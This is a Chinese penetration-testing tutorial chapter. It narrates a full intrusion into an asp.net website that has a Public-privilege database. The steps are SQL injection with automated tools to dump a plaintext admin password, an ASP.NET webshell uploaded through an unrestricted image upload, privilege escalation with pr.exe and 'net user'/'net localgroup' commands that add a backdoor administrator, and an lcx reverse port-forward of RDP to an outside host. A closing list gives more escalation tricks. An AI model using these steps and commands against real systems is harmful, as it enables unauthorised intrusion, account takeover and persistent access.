2.6 Public权限渗透某asp.net网站
对于数据库用户权限为Public的网站渗透相对较难,设置为这种权限,多数具有较高的安全意识,在通过SQL注入点获取是Public权限时,需要多方分析,尝试各种方法进行渗透测试,但不管如何,存在SQL注入点就是一种突破,通过SQL注入能够获取网站数据库的一些信息,通过这些信息再次进行渗透和提权就会容易一些。尤其是在获得网站后台管理员权限的情况下,通过文件包含、数据库备份、图片上传、文件上传、插入一句话等来获取WebShell。下面就以一个实际案例来分析如何利用Public权限渗透某asp.net网站。
2.6.1 寻找SQL注入点
通过查看网站的各个页面,寻找有参数传入的页面,在有参数的页面中进行出错判断,如图2-48所示,在传出参数typeid=1后面附加“’”使其自动爆出错误,通过该错误信息可以知道数据库为MSSQL。
图2-48 获取SQL注入点
2.6.2 使用工具进行信息收集和数据猜测
对于asp.net类型网站除了一些大型商业专用渗透工具外,还有一些免费的工具,例如Pangolin、Havij、Domain3.5、HDSI2.5以及啊D等SQL注入工具。在本次渗透过程中先后使用了Pangolin、Havij,如图2-49所示,使用Havij1.2免费版本测试效果并不好,未能获取更多的信息。
技巧:
(1)在发现SQL注入点后一般先使用一些自动测试工具进行测试,在测试时可以依次使用多个工具进行测试,虽然这些SQL注入工具功能大致相同,但在某些场景下,使用有些工具能够成功,然而使用某些工具就不一定成功。
(2)先工具后手工,事后进行总结加深对渗透到理解,并将有用的技巧收集整理。
图2-49 使用Havij进行SQL注入渗透测试
2.6.3 获取SQL注入点
打开Domain3.5 SQL注入工具,单击“SQL注入”-“SQL注入猜解检测”,将刚才测试所出错前的正常页面地址复制到“注入点”中,然后单击“开始检测”,如果该注入点能够进行SQL注入,则会在检测信息中显示详细信息,如图2-50所示,获取的该数据库是MSSQL,当前数据库以及当前权限等信息。
图2-50 检测SQL注入点
2.6.4 猜解数据库中的表和数据
这一步是SQL注入检测中最重要的一步,如果能够成功,就意味着可以查看和修改数据库中的数据,单击“猜解表名”猜解数据库中一共有多少个表,在本例中一共有33个表,然后查看数据库表名称来判断哪个表是保存有管理员用户名和密码的,确定并选中,然后单击“猜解列名”来获取表中的具体列名,然后选择需要查看内容的列名,最后单击“猜解内容”来获取其相应信息,如图2-51所示,获取了管理员的密码,而且管理员的密码是明文的未加密!
图2-51 获取数据内容
2.6.5 扫描和获取后台地址
在Domain3.5中单击“管理入口扫描”来获取管理入口的具体地址,在本例中通过Domain3.5未能获取管理后台地址,这时候就需要动用其他方法,一个比较好的方法就是利用搜索引擎,使用“site:somesite.com 登录”或者“site:somesite.com 系统管理”等来搜索后台地址,如图2-52所示,获取了后台的详细地址。
2.6.6 登录测试和验证
直接打开从搜索引擎中获取的后台地址,如果能够正常访问说明该页面可能是真正的后台地址,如图2-53所示,该页面能够正常访问,且通过页面信息可以判定该地址就是管理后台地址,输入刚才获取的用户名和密码进行测试,登录成功,如图2-54所示。
图2-52 获取后台登录地址
图2-53 后台地址测试和验证
图2-54 后台登录成功
2.6.7 寻找、测试和获取WebShell
(1)获得图片上传页面
当使用SQL注入工具或者手工注入获得管理员的用户名和密码成功登录系统后,需要查看系统信息发布等模块,查看是否存在文件上传部分,如果没有,则尝试插入一句话进行后台备份等操作。在本次渗透过程中通过查看后台的各个功能模块,发现有四个信息添加模块,在新建会员模块中存在上传图片模块,单击链接进入新建会员模块,如图2-55所示,在图片中直接选择一个asp.net的WebShell,然后上传。上传结果显示成功,如图2-56所示。
图2-55 获得文件上传模块
图2-56 文件上传成功
(2)查看文件上传的真实地址
虽然页面显示文件上传成功,但还需要找到文件上传的真正地址,核对上传的文件是否更改了后缀,新建会员后,需要从前台来查看刚才添加的效果,如图2-57所示,找到会员列表,然后寻找最后添加到记录。
图2-57 通过前台查看上传图片
对于网站CMS系统处理新添加记录有两种结果,一种是按照最新时间排序,另外一种是降序,因此在翻看记录时,需要分析数据添加的规律,在本例中就是按照时间升序排序,即最早添加的最先显示,因此需要跳转到页码最大处才能看到刚才添加的记录,如图2-58所示,右键选中图片,查看图片属性,从而获取该图片的真实地址,上传模块未对上传文件后缀等进行限制,上传文件一律按照时间(年月日分秒)+原真实上传文件名称进行命名。
图2-58 获取图片的真实地址
(3)获取WebShell
在IE浏览器中打开上传WebShell的真实地址,如图2-59所示,输入WebShell的密码后,出现熟悉的Asp.net WebShell界面。
图2-59 成功获得该网站的WebShell
2.6.8 尝试提权
通过WebShell查看该服务器安装程序和网站文件等,然后利用掌握的信息进行提权,在本次渗透过程中发现该服务器为内网服务器,通过防火墙映射到外网,对外仅仅开放了80端口,在网络地址中未配置DNS,系统中无可提权的其他可用信息。因此首先尝试使用pr进行提权。如图2-60所示,先将pr程序上传到回收站中,然后分别执行“E:\RECYCLER\ pr.exe”、参数“net user temp temp2005 /add”、参数“net localgroup administrator temp /add”。执行结果显示“命令成功完成”,表示pr提权成功。
图2-60 使用pr提权
2.6.9 登录远程桌面
(1)查看添加到用户
在WebShell中通过CMDShell查看刚才添加的用户是否成功,如图2-61所示,可以看到系统已经添加了一个temp的管理员用户。
图2-61 查看添加到用户
(2)使用lcx进行端口转发
在具有独立IP的计算机上执行“lcx -listen 51 2008”,意思是监听51端口,并将51端口映射到本机的2008端口,如图2-62所示。
图2-62 使用lcx进行端口监听
在WebShell中执行“E:\RECYCLER\lcx.exe”,参数设置为“-slave 202.XXX.XXX.XXX 51 172.30.11.81 3389”,意思是连接IP地址202.XXX.XXX.XXX的51端口,将服务器内网地址为172.30.11.81的3389端口转发到202.XXX.XXX.XXX的51端口上,如图2-63所示。
图2-63 使用lcx进行端口转发
(3)连接远程桌面
在监听51端口的计算机中打开远程终端登录界面,然后输入“127.0.0.1:2008”进行登录,输入刚才添加到temp用户和密码,如图2-64所示,成功登录系统,从而获得服务器权限,成功渗透该服务器。
图2-64 成功进入系统
2.6.10 总结与探讨
1.对于Asp.net的渗透思路
(1)扫描目标网站,获取SQL注入点或者其他漏洞。扫描目标网站可以使用一些商业扫描软件,例如wvs、appscan、webinspect、jsky、极光等。通过扫描获取网站程序漏洞和配置漏洞。在扫描结果中的重复是单独的上传页面、上传组件(各种WebEditor)、网站压缩文件、bak备份文件的利用。
(2)利用扫描结果信息进行渗透测试。
(3)获取WebShell。获取WebShell较多的方法是通过上传,以及各类Web编辑器的漏洞,还有某一类程序的漏洞,当然这些漏洞的利用需要一些辅助条件。某些网站在被入侵后,入侵者会将整个网站进行打包,下载完毕后未删除,如果能够成功将其下载,对于分析漏洞和获取WebShell很有帮助。
(4)对服务器进行提权。对服务器提权主要是看服务器上安装有哪些程序,然后采取相对应的提权方法,例如读取VNC密码,读取Radmin密码,下载Pcanywhere密码保存文件,利用Serv-u直接添加用户,利用系统未安装补丁程序进行本地提权,编写autorun.inf病毒,导出脚本到启动添加用户,MSSQL SA权限直接添加系统用户,MySQL udf函数提权等。